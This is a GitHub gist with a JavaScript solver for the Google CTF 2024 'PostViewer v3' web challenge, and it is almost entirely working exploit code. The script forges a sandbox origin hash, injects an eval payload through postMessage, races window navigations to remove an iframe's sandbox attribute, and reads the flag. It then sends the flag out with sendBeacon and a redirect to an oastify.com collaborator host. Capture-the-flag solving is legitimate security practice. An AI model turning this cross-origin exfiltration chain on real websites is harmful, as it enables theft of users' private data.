Last active
June 29, 2024 05:16
-
-
Save tyage/792e432a84c218e7506835387e45e422 to your computer and use it in GitHub Desktop.
Google CTF 2024 PostViewer v3 solver
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Locate this file in https://storage.googleapis.com | |
const evaluatorHtml = ` | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>Evaluator</title> | |
<script> | |
onmessage = e => { | |
if(e.source !== parent) { | |
throw /not parent/; | |
}; | |
if(e.data.eval){ | |
eval(e.data.eval); | |
} | |
} | |
onload = () => { | |
parent.postMessage('loader ready','*'); | |
} | |
</script> | |
<style> | |
body{ | |
padding: 0px; | |
margin: 0px; | |
} | |
iframe{ | |
width: 100vw; | |
height: 100vh; | |
border: 0; | |
} | |
.spinner { | |
background: url(https://storage.googleapis.com/gctf-postviewer/spinner.svg) center no-repeat; | |
} | |
.spinner iframe{ | |
opacity: 0.2 | |
} | |
</style> | |
</head> | |
<body> | |
<div id="container" class="spinner"></div> | |
</body> | |
</html> | |
`; | |
function arrayToBase36(arr) { | |
return arr | |
.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0)) | |
.toString(36); | |
} | |
async function calculateHash(...strings) { | |
const encoder = new TextEncoder(); | |
const string = strings.join(""); | |
const hash = await crypto.subtle.digest("SHA-256", encoder.encode(string)); | |
return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50); | |
} | |
const flagUrl = 'https://postviewer3-web.2024.ctfcompetition.com/#' | |
const payload = ` | |
const attack = (win) => { | |
if (win.frames.length === 0) { | |
// wait frame | |
setTimeout(() => attack(win), 10) | |
return | |
} | |
const frame = win.frames[0] | |
if (frame.frames.length === 0) { | |
// wait frame | |
setTimeout(() => attack(win), 10) | |
return | |
} | |
const contentFrame = frame.document.querySelector('iframe') | |
contentFrame.removeAttribute('sandbox') | |
contentFrame.src = contentFrame.src | |
setTimeout(() => { | |
const flag = contentFrame.contentWindow.document.body.innerHTML | |
navigator.sendBeacon('https://ng7oi479tlg19342m0xo6crkfbl29uxj.oastify.com/', flag) | |
location = 'https://ng7oi479tlg19342m0xo6crkfbl29uxj.oastify.com/?f=' + encodeURIComponent(flag); | |
}, 100) | |
} | |
const sleep = (time) => new Promise(res => setTimeout(res, time)) | |
const alreadyDone = false | |
const main = async (tag) => { | |
const win = window.open('https://postviewer3-web.2024.ctfcompetition.com/#', tag, 'width=800,height=800') | |
await sleep(1000) | |
for (let i = 0; i < 10; ++i) { | |
if (alreadyDone) { break } | |
console.log('#0') | |
win.location = 'https://postviewer3-web.2024.ctfcompetition.com/#0' | |
//buffer = new Uint8Array(3e7); | |
//win.postMessage(buffer, '*', [buffer.buffer]); | |
await sleep(0) | |
console.log('#') | |
win.location = 'https://postviewer3-web.2024.ctfcompetition.com/#' | |
await sleep(400) | |
try { | |
win.frames[0].document | |
navigator.sendBeacon('https://ng7oi479tlg19342m0xo6crkfbl29uxj.oastify.com/win') | |
attack(win) | |
alreadyDone = true | |
break | |
} catch(e) { | |
console.log('#reset', win.frames.length) | |
//navigator.sendBeacon('https://ng7oi479tlg19342m0xo6crkfbl29uxj.oastify.com/lose' + win.frames.length) | |
win.location = 'https://postviewer3-web.2024.ctfcompetition.com/#' | |
await sleep(200) | |
} | |
} | |
} | |
for (let i = 0; i < 15; ++i) { | |
main(i) | |
} | |
` | |
const sleep = (time) => new Promise(res => setTimeout(res, time)) | |
const main = async () => { | |
const hash = await calculateHash(evaluatorHtml, 'postviewer', 'https://postviewer3-web.2024.ctfcompetition.com', flagUrl) | |
const iframe = document.createElement('iframe') | |
// /x//shim.html -> make PRODUCT empty | |
iframe.src = `https://sbx-${hash}.postviewer3-web.2024.ctfcompetition.com/x//shim.html?o=${encodeURIComponent(window.origin)}` | |
document.body.appendChild(iframe) | |
iframe.addEventListener( | |
"load", | |
async () => { | |
const [body, suffix] = evaluatorHtml.split('https://storage.googleapis.com') | |
const salt = suffix + 'postviewer' + 'https://postviewer3-web.2024.ctfcompetition.com' + flagUrl | |
const mimeType = 'text/html' | |
iframe.contentWindow?.postMessage( | |
{ body, mimeType, salt }, | |
'*' | |
) | |
await sleep(300) | |
iframe.contentWindow?.postMessage({ eval: payload }, '*') | |
}, | |
{ once: true } | |
) | |
} | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment